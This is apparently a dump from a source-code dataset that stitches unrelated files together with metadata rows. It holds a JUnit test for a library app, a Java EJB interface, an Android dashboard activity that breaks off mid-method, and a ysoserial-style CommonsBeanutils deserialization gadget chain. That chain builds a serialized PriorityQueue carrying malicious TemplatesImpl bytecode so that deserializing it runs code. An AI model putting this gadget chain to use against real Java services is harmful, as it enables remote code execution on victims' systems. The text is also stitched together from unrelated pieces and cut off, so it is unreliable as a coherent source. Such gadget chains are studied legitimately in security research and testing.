} | UTF-8 | Java | 3,113 | java | librarySystemTest.java | Java | [
{
"context": "port static org.junit.Assert.*;\n\n/**\n * Created by twcn on 3/7/16.\n */\npublic class librarySystemTest {\n\n",
"end": 165,
"score": 0.9995483160018921,
"start": 161,
"tag": "USERNAME",
"value": "twcn"
},
{
"context": "Name\", \"TDD Methods\");\n map.put(\"author\", \"Tom\");\n map.put(\"publishDate\", \"2013-2-4\");\n ",
"end": 817,
"score": 0.99982088804245,
"start": 814,
"tag": "NAME",
"value": "Tom"
},
{
"context": "Refactoring Methods\");\n map.put(\"author\", \"Allan\");\n map.put(\"publishDate\", \"2011-2-4\");\n ",
"end": 1022,
"score": 0.9997056722640991,
"start": 1017,
"tag": "NAME",
"value": "Allan"
},
{
"context": "Name\", \"TDD Methods\");\n map.put(\"author\", \"Tom\");\n map.put(\"publishDate\", \"2013-2-4\");\n ",
"end": 1594,
"score": 0.9998217225074768,
"start": 1591,
"tag": "NAME",
"value": "Tom"
},
{
"context": "Refactoring Methods\");\n map.put(\"author\", \"Allan\");\n map.put(\"publishDate\", \"2011-2-4\");\n ",
"end": 1799,
"score": 0.9997206330299377,
"start": 1794,
"tag": "NAME",
"value": "Allan"
},
{
"context": "Name\", \"TDD Methods\");\n map.put(\"author\", \"Tom\");\n map.put(\"publishDate\", \"2013-2-4\");\n ",
"end": 2655,
"score": 0.9998409748077393,
"start": 2652,
"tag": "NAME",
"value": "Tom"
},
{
"context": "Refactoring Methods\");\n map.put(\"author\", \"Allan\");\n map.put(\"publishDate\", \"2011-2-4\");\n ",
"end": 2860,
"score": 0.9994471073150635,
"start": 2855,
"tag": "NAME",
"value": "Allan"
}
]
| null | []
| package com.twu.biblioteca;
import org.junit.Test;
import java.util.ArrayList;
import java.util.HashMap;
import static org.junit.Assert.*;
/**
* Created by twcn on 3/7/16.
*/
public class librarySystemTest {
@Test
public void should_return_fixed_welcome_message_when_be_welcomeMessage_called() throws Exception {
String welcomeMessage = new librarySystem().welcomeMessage();
assertEquals("Welcome! the application is available.", welcomeMessage);
}
@Test
public void should_return_bookName_when_be_getBookLists_called() throws Exception {
ArrayList<HashMap<String, Object>> list = new ArrayList<HashMap<String, Object>>();
HashMap<String, Object> map = new HashMap<String, Object>();
map.put("bookName", "TDD Methods");
map.put("author", "Tom");
map.put("publishDate", "2013-2-4");
list.add(map);
map = new HashMap<String, Object>();
map.put("bookName", "Code Refactoring Methods");
map.put("author", "Allan");
map.put("publishDate", "2011-2-4");
list.add(map);
String bookLists = new librarySystem().getBookLists(list);
assertEquals("TDD Methods\n" + "Code Refactoring Methods\n", bookLists);
}
@Test
public void should_return_bookLists_information_when_getBookInfo_be_called() throws Exception {
ArrayList<HashMap<String, Object>> list = new ArrayList<HashMap<String, Object>>();
HashMap<String, Object> map = new HashMap<String, Object>();
map.put("bookName", "TDD Methods");
map.put("author", "Tom");
map.put("publishDate", "2013-2-4");
list.add(map);
map = new HashMap<String, Object>();
map.put("bookName", "Code Refactoring Methods");
map.put("author", "Allan");
map.put("publishDate", "2011-2-4");
list.add(map);
String bookLists = new librarySystem().getBookInfo(list);
assertEquals("TDD Methods\tTom\t2013-2-4\n" + "Code Refactoring Methods\tAllan\t2011-2-4\n", bookLists);
}
@Test
public void should_return_two_options_when_showmenu_be_called() throws Exception {
String menuOptions = new librarySystem().showMenu();
assertEquals("[1]\tlistBooks\n" + "[2]\tquit\n", menuOptions);
}
@Test
public void should_return_the_checkout_success_when_checkout_be_called_and_the_number_is_1() throws Exception {
ArrayList<HashMap<String, Object>> list = new ArrayList<HashMap<String, Object>>();
HashMap<String, Object> map = new HashMap<String, Object>();
map.put("bookName", "TDD Methods");
map.put("author", "Tom");
map.put("publishDate", "2013-2-4");
list.add(map);
map = new HashMap<String, Object>();
map.put("bookName", "Code Refactoring Methods");
map.put("author", "Allan");
map.put("publishDate", "2011-2-4");
list.add(map);
ArrayList checkoutLists = new ArrayList();
boolean isCheckout =new librarySystem().checkOut(1, list, checkoutLists);
assertEquals(isCheckout, true);
}
} | 3,113 | 0.633794 | 0.615805 | 82 | 36.975609 | 31.309227 | 115 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 1.085366 | false | false | 1 |
269f9f70fb931e9c7363ea619437aece69e58218 | 29,600,914,637,690 | 830dbf1f2cc811cc89e50c59ade4a24b1070d49b | /ysuserial/src/main/java/org/su18/serialize/ysoserial/CommonBeanUtils/CommonBeanUtils.java | 28d24b920a6c03d36e7d20d048e2f87b0783b7a7 | []
| no_license | kN6jq/ysoserial | https://github.com/kN6jq/ysoserial | cc19f26dca411d07fdf5d9015d660bc283265876 | 6a7f91400329ab735f318d355929f93b57ed0edb | refs/heads/master | 2023-08-11T04:03:07.723000 | 2021-09-18T23:40:20 | 2021-09-18T23:40:20 | 408,055,948 | 1 | 2 | null | null | null | null | null | null | null | null | null | null | null | null | null | package org.su18.serialize.ysoserial.CommonBeanUtils;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.su18.serialize.utils.SerializeUtil;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;
/**
* @author su18
*/
public class CommonBeanUtils {
public static void main(String[] args) throws Exception {
// 生成包含恶意类字节码的 TemplatesImpl 类
TemplatesImpl tmpl = SerializeUtil.generateTemplatesImpl();
// 初始化 PriorityQueue
PriorityQueue<Object> queue = new PriorityQueue<>(2);
queue.add("1");
queue.add("2");
// 反射将 TemplatesImpl 放在 PriorityQueue 里
Field field = PriorityQueue.class.getDeclaredField("queue");
field.setAccessible(true);
Object[] objects = (Object[]) field.get(queue);
objects[0] = tmpl;
// 初始化 String$CaseInsensitiveComparator
Class c = Class.forName("java.lang.String$CaseInsensitiveComparator");
Constructor constructor = c.getDeclaredConstructor();
constructor.setAccessible(true);
// 初始化 BeanComparator
BeanComparator beanComparator = new BeanComparator("outputProperties", (Comparator<?>) constructor.newInstance());
// 反射将 BeanComparator 写入 PriorityQueue 中
Field field2 = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field2.setAccessible(true);
field2.set(queue, beanComparator);
SerializeUtil.writeObjectToFile(queue);
SerializeUtil.readFileObject();
}
}
| UTF-8 | Java | 1,601 | java | CommonBeanUtils.java | Java | [
{
"context": "r;\nimport java.util.PriorityQueue;\n\n/**\n * @author su18\n */\npublic class CommonBeanUtils {\n\n\tpublic stati",
"end": 373,
"score": 0.9994263052940369,
"start": 369,
"tag": "USERNAME",
"value": "su18"
}
]
| null | []
| package org.su18.serialize.ysoserial.CommonBeanUtils;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.su18.serialize.utils.SerializeUtil;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;
/**
* @author su18
*/
public class CommonBeanUtils {
public static void main(String[] args) throws Exception {
// 生成包含恶意类字节码的 TemplatesImpl 类
TemplatesImpl tmpl = SerializeUtil.generateTemplatesImpl();
// 初始化 PriorityQueue
PriorityQueue<Object> queue = new PriorityQueue<>(2);
queue.add("1");
queue.add("2");
// 反射将 TemplatesImpl 放在 PriorityQueue 里
Field field = PriorityQueue.class.getDeclaredField("queue");
field.setAccessible(true);
Object[] objects = (Object[]) field.get(queue);
objects[0] = tmpl;
// 初始化 String$CaseInsensitiveComparator
Class c = Class.forName("java.lang.String$CaseInsensitiveComparator");
Constructor constructor = c.getDeclaredConstructor();
constructor.setAccessible(true);
// 初始化 BeanComparator
BeanComparator beanComparator = new BeanComparator("outputProperties", (Comparator<?>) constructor.newInstance());
// 反射将 BeanComparator 写入 PriorityQueue 中
Field field2 = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field2.setAccessible(true);
field2.set(queue, beanComparator);
SerializeUtil.writeObjectToFile(queue);
SerializeUtil.readFileObject();
}
}
| 1,601 | 0.759609 | 0.75114 | 49 | 30.32653 | 26.927256 | 116 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 1.530612 | false | false | 1 |
ad3b10a9fab2ae9c8910540ca9a2e96afed84e88 | 21,440,476,782,819 | c02b9541f0d7edd52785a0358480bed18321c1f8 | /uwip1/uwip1-ejb/src/java/sessions/UuserFacadeLocal.java | 54388e415603d09738afcdd1d48e0d969736eabb | []
| no_license | Rodrigue237/uWIP-v1 | https://github.com/Rodrigue237/uWIP-v1 | 2e1a22b04004e18b1629331542e9c485610c3499 | c26b00981d6664dca4817b01012328471969d134 | refs/heads/master | 2020-04-18T06:42:35.160000 | 2016-08-18T16:42:43 | 2016-08-18T16:42:43 | 66,014,236 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | /*
* To change this template, choose Tools | Templates
* and open the template in the editor.
*/
package sessions;
import entities.Uuser;
import java.util.List;
import javax.ejb.Local;
/**
*
* @author Seanjackson
*/
@Local
public interface UuserFacadeLocal {
void create(Uuser uuser);
void edit(Uuser uuser);
void remove(Uuser uuser);
Uuser find(Object id);
List<Uuser> findAll();
List<Uuser> findRange(int[] range);
List<Uuser> findAll2(String profilSA);
int count();
public Uuser connexion(String login, String mdp);
public int findCopieDouble(String loginToCount);
}
| UTF-8 | Java | 628 | java | UuserFacadeLocal.java | Java | [
{
"context": "l.List;\nimport javax.ejb.Local;\n\n/**\n *\n * @author Seanjackson\n */\n@Local\npublic interface UuserFacadeLocal {\n\n ",
"end": 219,
"score": 0.994084358215332,
"start": 208,
"tag": "NAME",
"value": "Seanjackson"
}
]
| null | []
| /*
* To change this template, choose Tools | Templates
* and open the template in the editor.
*/
package sessions;
import entities.Uuser;
import java.util.List;
import javax.ejb.Local;
/**
*
* @author Seanjackson
*/
@Local
public interface UuserFacadeLocal {
void create(Uuser uuser);
void edit(Uuser uuser);
void remove(Uuser uuser);
Uuser find(Object id);
List<Uuser> findAll();
List<Uuser> findRange(int[] range);
List<Uuser> findAll2(String profilSA);
int count();
public Uuser connexion(String login, String mdp);
public int findCopieDouble(String loginToCount);
}
| 628 | 0.686306 | 0.684713 | 37 | 15.972973 | 17.374237 | 53 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.459459 | false | false | 1 |
67b4a8bea80ca568ab140e4e2def64020e8a031f | 15,075,335,248,880 | 3f16aad771178818f137f448924ebc9d052dd5a0 | /app/src/main/java/org/ole/learning/planet/planetlearning/User_Dashboard.java | 00de456ad91d57e2a3169ab050e724cedbf9d679 | []
| no_license | akshayuncc/take-home | https://github.com/akshayuncc/take-home | 7325e0cc8cfee8d07a449a5b195cabad9caad877 | 78f3256be01a216571c9f8cd937426387c2895fb | refs/heads/master | 2020-03-19T02:29:40.121000 | 2018-05-12T22:04:27 | 2018-05-16T19:16:57 | null | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package org.ole.learning.planet.planetlearning;
import android.annotation.SuppressLint;
import android.app.Activity;
import android.app.Dialog;
import android.app.DownloadManager;
import android.app.ProgressDialog;
import android.content.Context;
import android.content.DialogInterface;
import android.content.Intent;
import android.content.SharedPreferences;
import android.graphics.Color;
import android.net.Uri;
import android.net.wifi.WifiManager;
import android.os.Bundle;
import android.support.annotation.NonNull;
import android.support.v4.app.Fragment;
import android.support.v4.app.FragmentActivity;
import android.support.v4.app.FragmentTransaction;
import android.support.v4.content.ContextCompat;
import android.support.v7.app.AlertDialog;
import android.text.TextUtils;
import android.util.Log;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.ImageButton;
import android.widget.LinearLayout;
import android.widget.ProgressBar;
import android.widget.RatingBar;
import android.widget.TextView;
import android.widget.Toast;
import com.couchbase.lite.Database;
import com.couchbase.lite.Document;
import com.couchbase.lite.Manager;
import com.couchbase.lite.Query;
import com.couchbase.lite.QueryEnumerator;
import com.couchbase.lite.QueryRow;
import com.couchbase.lite.android.AndroidContext;
import com.ramotion.circlemenu.CircleMenuView;
import java.text.DateFormat;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Calendar;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Map;
import java.util.Set;
/**
* org.ole.learning.planet
*
* An example full-screen activity that shows and hides the system UI (i.e.
* status bar and navigation/system bar) with user interaction.
*/
public class User_Dashboard extends FragmentActivity implements Fragm_TakeCourse.OnFragmentInteractionListener,
ListViewAdapter_myCourses.OnmyCourseListListener, Fragm_myCourses.OnFragmentInteractionListener,
ListViewAdapter_myLibrary.OnResouceListListener,Fragm_Loading.OnFragmentInteractionListener,
ListViewAdapter_Courses.OnCourseListListener, Fragm_Courses.OnFragmentInteractionListener,
Fragm_TakeCourseTabbed.OnFragmentInteractionListener ,BlankFragment.OnFragmentInteractionListener {
private View mControlsView;
String TAG = "MYAPP";
public static final String PREFS_NAME = "MyPrefsFile";
//// Declare LinearLayouts
LinearLayout lt_myLibrary, lt_myCourses, lt_myTeams, lt_myMembers;
//// Declare Image Buttons
ImageButton btnBadges, btnSurvay, btnEmails, btnPoints, btnFeedback,
btnMyLibrary, btnMyCourses, btnMyTeams, btnMyMeetups, btnLogout, btnPlanetLogo;
//// TextView
TextView lblMyLibrary, lblMyCourses, lblMyTeams, lblMyMeetups, lblLogout,
lblHome, lblLibrary, lblCourses, lblMeetups, lblMembers, lblReports, lblFeedback,
lbl_Name, lbl_Role, lbl_NumMyLibrary, lbl_NumMyCourse, lbl_NumMyTeams, lbl_NumMyMeetups,lbl_Visits;
/// String
String sys_oldSyncServerURL, sys_username, sys_lastSyncDate,
sys_password, sys_usercouchId, sys_userfirstname, sys_userlastname,
sys_usergender, sys_uservisits, sys_servername, sys_serverversion = "";
String doc_lastVisit, sys_NewDate, profile_membersRoles = "";
String resourceIdTobeOpened, OneByOneResID, OneByOneResTitle;
/// Integer
int sys_uservisits_Int, myLibraryItemCount, myCoursesItemCount;
//// Boolean
Boolean sys_singlefilestreamdownload, sys_multiplefilestreamdownload;
//// Object
Object[] sys_membersWithResource;
Activity activity;
String openedResourceId, openedResourceTitle = "";
boolean openedResource = false;
////Buttons
Button dialogBtnDownoadAll, dialogBtnDownoadFile, dialogBtnOpenFileOnline;
///Others
SharedPreferences settings;
CouchViews chViews = new CouchViews();
LogHouse logHouse = new LogHouse();
Intent serviceIntent;
AndroidContext androidContext;
final Context context = this;
private ProgressDialog mDialog;
Dialog openResourceDialog;
DownloadManager downloadManager;
private long enqueue;
boolean singleFileDownload = true;
Dialog dialog2;
ProgressDialog loading_dialog;
LinearLayout loadingImage;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_user__dashboard);
mControlsView = findViewById(R.id.fullscreen_content_controls);
androidContext = new AndroidContext(this);
activity = this;
loadingImage = (LinearLayout) findViewById(R.id.lbl_loading_image);
loadingImage.setVisibility(View.INVISIBLE);
initiateLayoutMaterials();
initiateOnClickActions();
restorePreferences();
///totalVisits(sys_usercouchId);
loadUIDynamicText();
Fragm_Loading loading = new Fragm_Loading();
Bundle args = new Bundle();
args.putString("targetAction", "myLibrary");
args.putString("sys_usercouchId", sys_usercouchId);
loading.setArguments(args);
final FragmentTransaction transaction = getSupportFragmentManager().beginTransaction();
transaction.replace(R.id.fmlt_container, loading);
transaction.addToBackStack(null);
transaction.commit();
resetActiveButton();
lt_myLibrary.setBackgroundColor(getResources().getColor(R.color.ole_blueLine));
}
public void initiateLayoutMaterials() {
btnBadges = (ImageButton) findViewById(R.id.ibtn_Badges);
btnSurvay = (ImageButton) findViewById(R.id.ibtn_Survay);
btnEmails = (ImageButton) findViewById(R.id.ibtn_Emails);
btnPoints = (ImageButton) findViewById(R.id.ibtn_Points);
btnFeedback = (ImageButton) findViewById(R.id.ibtn_Feedback);
btnMyLibrary = (ImageButton) findViewById(R.id.ibtn_myLibrary);
btnMyCourses = (ImageButton) findViewById(R.id.ibtn_myCourses);
btnMyTeams = (ImageButton) findViewById(R.id.ibtn_myTeams);
btnMyMeetups = (ImageButton) findViewById(R.id.ibtn_myMeetups);
btnLogout = (ImageButton) findViewById(R.id.ibtn_Logout);
btnPlanetLogo = (ImageButton) findViewById(R.id.ibtn_PlanetLogo);
lblMyLibrary = (TextView) findViewById(R.id.lbl_myLibrary);
lblMyCourses = (TextView) findViewById(R.id.lbl_myCourses);
lblMyTeams = (TextView) findViewById(R.id.lbl_myTeams);
lblMyMeetups = (TextView) findViewById(R.id.lbl_myMeetups);
lblLogout = (TextView) findViewById(R.id.lbl_Logout);
lblHome = (TextView) findViewById(R.id.lbl_home);
lblLibrary = (TextView) findViewById(R.id.lbl_library);
lblCourses = (TextView) findViewById(R.id.lbl_courses);
lblMeetups = (TextView) findViewById(R.id.lbl_meetups);
lblMembers = (TextView) findViewById(R.id.lbl_members);
lblReports = (TextView) findViewById(R.id.lbl_reports);
lblFeedback = (TextView) findViewById(R.id.lbl_feedback);
lbl_Name = (TextView) findViewById(R.id.lbl_name);
lbl_Role = (TextView) findViewById(R.id.lbl_role);
lbl_Visits = (TextView) findViewById(R.id.lbl_NoOfVisits);
lbl_NumMyLibrary = (TextView) findViewById(R.id.lbl_NumMyLibrary);
lbl_NumMyCourse = (TextView) findViewById(R.id.lbl_NumMyCourses);
lbl_NumMyTeams = (TextView) findViewById(R.id.lbl_NumMyTeams);
lbl_NumMyMeetups = (TextView) findViewById(R.id.lbl_NumMyMeetups);
lt_myLibrary = (LinearLayout) findViewById(R.id.lt_myLibrary);
lt_myCourses = (LinearLayout) findViewById(R.id.lt_myCourses);
lt_myTeams = (LinearLayout) findViewById(R.id.lt_myTeams);
lt_myMembers = (LinearLayout) findViewById(R.id.lt_myMeetups);
}
public void initiateOnClickActions() {
btnBadges.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
try {
} catch (Exception except) {
Log.d(TAG, "Badges click action error " + except.getMessage());
}
}
});
btnSurvay.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
try {
} catch (Exception except) {
Log.d(TAG, "Survay click action error " + except.getMessage());
}
}
});
btnEmails.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
try {
} catch (Exception except) {
Log.d(TAG, "Emails click action error " + except.getMessage());
}
}
});
btnPoints.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
try {
} catch (Exception except) {
Log.d(TAG, "Points click action error " + except.getMessage());
}
}
});
btnFeedback.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
try {
} catch (Exception except) {
Log.d(TAG, "Feedback click action error " + except.getMessage());
}
}
});
btnMyLibrary.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
try {
openMyLibrary();
} catch (Exception except) {
Log.d(TAG, "MyLibrary click action error " + except.getMessage());
}
}
});
btnMyCourses.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
try {
openMyCourses();
} catch (Exception except) {
Log.d(TAG, "MyCourses click action error " + except.getMessage());
}
}
});
btnMyTeams.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
try {
} catch (Exception except) {
Log.d(TAG, "MyTeams click action error " + except.getMessage());
}
}
});
btnMyMeetups.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
try {
} catch (Exception except) {
Log.d(TAG, "MyMeetups click action error " + except.getMessage());
}
}
});
btnLogout.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
try {
Intent intent = new Intent(context, FullscreenLogin.class);
startActivity(intent);
} catch (Exception except) {
Log.d(TAG, "Logout click action error " + except.getMessage());
}
}
});
btnPlanetLogo.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
try {
//showRoundMenu();
} catch (Exception except) {
Log.d(TAG, "PlanetLogo click action error " + except.getMessage());
}
}
});
//// Labels //
lblMyLibrary.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View viewIn) {
try {
openMyLibrary();
} catch (Exception except) {
Log.d(TAG, "MyLibrary click action error " + except.getMessage());
}
}
});
lblMyCourses.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View viewIn) {
try {
openMyCourses();
} catch (Exception except) {
Log.d(TAG, "MyCourses click action error " + except.getMessage());
}
}
});
lblMyTeams.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View viewIn) {
try {
} catch (Exception except) {
Log.d(TAG, "MyTeams click action error " + except.getMessage());
}
}
});
lblMyMeetups.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View viewIn) {
try {
} catch (Exception except) {
Log.d(TAG, "MyMeetups click action error " + except.getMessage());
}
}
});
lblLogout.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View viewIn) {
try {
Intent intent = new Intent(context, FullscreenLogin.class);
startActivity(intent);
} catch (Exception except) {
Log.d(TAG, "Logout click action error " + except.getMessage());
}
}
});
lblHome.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View viewIn) {
try {
} catch (Exception except) {
Log.d(TAG, "Home click action error " + except.getMessage());
}
}
});
lblLibrary.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View viewIn) {
try {
openLibrary();
} catch (Exception except) {
Log.d(TAG, "Library click action error " + except.getMessage());
}
}
});
lblCourses.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View viewIn) {
try {
openCourses();
} catch (Exception except) {
Log.d(TAG, "Courses click action error " + except.getMessage());
}
}
});
lblMeetups.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View viewIn) {
try {
} catch (Exception except) {
Log.d(TAG, "Meetups click action error " + except.getMessage());
}
}
});
lblMembers.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View viewIn) {
try {
} catch (Exception except) {
Log.d(TAG, "Members click action error " + except.getMessage());
}
}
});
lblReports.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View viewIn) {
try {
} catch (Exception except) {
Log.d(TAG, "Reports click action error " + except.getMessage());
}
}
});
lblFeedback.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View viewIn) {
try {
} catch (Exception except) {
Log.d(TAG, "Feedback click action error " + except.getMessage());
}
}
});
}
public void restorePreferences() {
settings = context.getSharedPreferences(PREFS_NAME, 0);
sys_username = settings.getString("pf_username", "");
sys_oldSyncServerURL = settings.getString("pf_sysncUrl", "http://");
sys_lastSyncDate = settings.getString("pf_lastSyncDate", "");
sys_password = settings.getString("pf_password", "");
sys_usercouchId = settings.getString("pf_usercouchId", "");
sys_userfirstname = settings.getString("pf_userfirstname", "");
sys_userlastname = settings.getString("pf_userlastname", "");
sys_usergender = settings.getString("pf_usergender", "");
sys_uservisits = settings.getString("pf_uservisits", "");
sys_uservisits_Int = settings.getInt("pf_uservisits_Int", 0);
sys_singlefilestreamdownload = settings.getBoolean("pf_singlefilestreamdownload", true);
sys_multiplefilestreamdownload = settings.getBoolean("multiplefilestreamdownload", true);
sys_servername = settings.getString("pf_server_name", " ");
sys_serverversion = settings.getString("pf_server_version", " ");
loadUIDynamicText();
Set<String> mwr = settings.getStringSet("membersWithResource", null);
try {
sys_membersWithResource = mwr.toArray();
Log.e(TAG, " membersWithResource = " + sys_membersWithResource.length);
} catch (Exception err) {
Log.e(TAG, " Error creating sys_membersWithResource");
}
runBackgroundService();
}
public void loadUIDynamicText() {
lbl_Name.setText(getUserName());
lbl_Role.setText(String.valueOf(getUserRole()));
lbl_NumMyLibrary.setText(String.valueOf(getUserMyLibraryNum()));
lbl_NumMyCourse.setText(String.valueOf(getUserMyCourseNum()));
lbl_NumMyTeams.setText(getUserMyTeamsNum());
lbl_NumMyMeetups.setText(getUserMtMeetupsNum());
if (sys_uservisits == "") {
lbl_Visits.setText( sys_uservisits_Int );
} else {
lbl_Visits.setText(sys_uservisits);
}
}
public String todaysDate(){
DateFormat dateFormat = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
Calendar cal = Calendar.getInstance();
System.out.println(dateFormat.format(cal.getTime()));
return dateFormat.format(cal.getTime());
}
public String getUserName() {
if (sys_username != "") {
return sys_userfirstname + " " + sys_userlastname;
} else {
return "";
}
}
public String getUserRole() {
String memberId = sys_usercouchId;
try {
Manager manager = new Manager(androidContext, Manager.DEFAULT_OPTIONS);
Database db_members = manager.getExistingDatabase("members");
Document members_doc = db_members.getExistingDocument(memberId);
Map<String, Object> members_doc_properties = members_doc.getProperties();
ArrayList membersRoles = (ArrayList) members_doc_properties.get("roles");
profile_membersRoles = TextUtils.join(" - ", membersRoles);
return profile_membersRoles;
} catch (Exception except) {
Log.d(TAG, "Counting MyLibrary resources error " + except.getMessage());
return "-";
}
}
public Integer getUserMyLibraryNum() {
String memberId = sys_usercouchId;
try {
Manager manager = new Manager(androidContext, Manager.DEFAULT_OPTIONS);
Database db_shelf = manager.getExistingDatabase("shelf");
Query orderedQuery = chViews.ReadShelfByIdView(db_shelf).createQuery();
orderedQuery.setDescending(true);
QueryEnumerator results = orderedQuery.run();
myLibraryItemCount = 0;
for (Iterator<QueryRow> it = results; it.hasNext(); ) {
QueryRow row = it.next();
String docId = (String) row.getValue();
Document shelf_doc = db_shelf.getExistingDocument(docId);
Map<String, Object> shelf_doc_properties = shelf_doc.getProperties();
if (memberId.equals((String) shelf_doc_properties.get("memberId"))) {
myLibraryItemCount++;
}
}
return myLibraryItemCount;
} catch (Exception except) {
Log.d(TAG, "Counting MyLibrary resources error " + except.getMessage());
return 0;
}
}
public Integer getUserMyCourseNum() {
String memberId = sys_usercouchId;
try {
Manager manager = new Manager(androidContext, Manager.DEFAULT_OPTIONS);
Database db_courses = manager.getExistingDatabase("courses");
Query orderedQuery = chViews.ReadCourses(db_courses).createQuery();
orderedQuery.setDescending(true);
QueryEnumerator results = orderedQuery.run();
myCoursesItemCount = 0;
for (Iterator<QueryRow> it = results; it.hasNext(); ) {
QueryRow row = it.next();
String docId = (String) row.getValue();
Document courses_doc = db_courses.getExistingDocument(docId);
Map<String, Object> courses_doc_properties = courses_doc.getProperties();
ArrayList courseMembers = (ArrayList) courses_doc_properties.get("members");
for (int cnt = 0; cnt < courseMembers.size(); cnt++) {
if (memberId.equals(courseMembers.get(cnt).toString())) {
myCoursesItemCount++;
}
}
}
return myCoursesItemCount;
} catch (Exception except) {
Log.d(TAG, "Counting MyLibrary resources error " + except.getMessage());
return 0;
}
}
public String getUserMyTeamsNum() {
return "0";
}
public String getUserMtMeetupsNum() {
return "0";
}
public void alertDialogOkay(String Message) {
AlertDialog.Builder builder1 = new AlertDialog.Builder(context);
builder1.setMessage(Message);
builder1.setCancelable(true);
builder1.setNegativeButton("Okay",
new DialogInterface.OnClickListener() {
public void onClick(DialogInterface dialog, int id) {
dialog.cancel();
}
});
AlertDialog alert11 = builder1.create();
alert11.show();
}
public void runBackgroundService() {
try {
serviceIntent = new Intent(context, ServerSearchService.class);
context.stopService(serviceIntent);
} catch (Exception error) {
Log.e("MYAPP", " Creating Service error " + error.getMessage());
}
}
public void resetActiveButton() {
lt_myLibrary.setBackgroundColor(Color.TRANSPARENT);
lt_myCourses.setBackgroundColor(Color.TRANSPARENT);
lt_myTeams.setBackgroundColor(Color.TRANSPARENT);
lt_myMembers.setBackgroundColor(Color.TRANSPARENT);
int sdk = android.os.Build.VERSION.SDK_INT;
if(sdk < android.os.Build.VERSION_CODES.JELLY_BEAN) {
lt_myLibrary.setBackgroundDrawable(getResources().getDrawable(R.drawable.border));
lt_myCourses.setBackgroundDrawable(getResources().getDrawable(R.drawable.border));
lt_myTeams.setBackgroundDrawable(getResources().getDrawable(R.drawable.border));
lt_myMembers.setBackgroundDrawable(getResources().getDrawable(R.drawable.border));
} else {
lt_myLibrary.setBackground(getResources().getDrawable(R.drawable.border));
lt_myCourses.setBackground(getResources().getDrawable(R.drawable.border));
lt_myTeams.setBackground(getResources().getDrawable(R.drawable.border));
lt_myMembers.setBackground(getResources().getDrawable(R.drawable.border));
}
lblHome.setTextColor(ContextCompat.getColor(context,R.color.ole_white));
lblLibrary.setTextColor(ContextCompat.getColor(context,R.color.ole_white));
lblCourses.setTextColor(ContextCompat.getColor(context,R.color.ole_white));
lblMeetups.setTextColor(ContextCompat.getColor(context,R.color.ole_white));
lblMembers.setTextColor(ContextCompat.getColor(context,R.color.ole_white));
lblReports.setTextColor(ContextCompat.getColor(context,R.color.ole_white));
lblFeedback.setTextColor(ContextCompat.getColor(context,R.color.ole_white));
}
public void openLibrary() {
Fragm_Loading loading = new Fragm_Loading();
Bundle args = new Bundle();
args.putString("targetAction", "Library");
args.putString("sys_usercouchId", sys_usercouchId);
loading.setArguments(args);
final FragmentTransaction transaction = getSupportFragmentManager().beginTransaction();
transaction.replace(R.id.fmlt_container, loading);
transaction.addToBackStack(null);
transaction.commit();
resetActiveButton();
lblLibrary.setTextColor(ContextCompat.getColor(context,R.color.ole_yellow));
}
public void openCourses() {
Fragm_Loading loading = new Fragm_Loading();
Bundle args = new Bundle();
args.putString("targetAction", "Courses");
args.putString("sys_usercouchId", sys_usercouchId);
loading.setArguments(args);
final FragmentTransaction transaction = getSupportFragmentManager().beginTransaction();
transaction.replace(R.id.fmlt_container, loading);
transaction.addToBackStack(null);
transaction.commit();
resetActiveButton();
lblCourses.setTextColor(ContextCompat.getColor(context,R.color.ole_yellow));
}
public void openMyLibrary() {
Fragm_Loading loading = new Fragm_Loading();
Bundle args = new Bundle();
args.putString("targetAction", "myLibrary");
args.putString("sys_usercouchId", sys_usercouchId);
loading.setArguments(args);
final FragmentTransaction transaction = getSupportFragmentManager().beginTransaction();
transaction.replace(R.id.fmlt_container, loading);
transaction.addToBackStack(null);
transaction.commit();
resetActiveButton();
lt_myLibrary.setBackgroundColor(getResources().getColor(R.color.ole_blueLine));
}
public void openMyCourses() {
Fragm_Loading loading = new Fragm_Loading();
Bundle args = new Bundle();
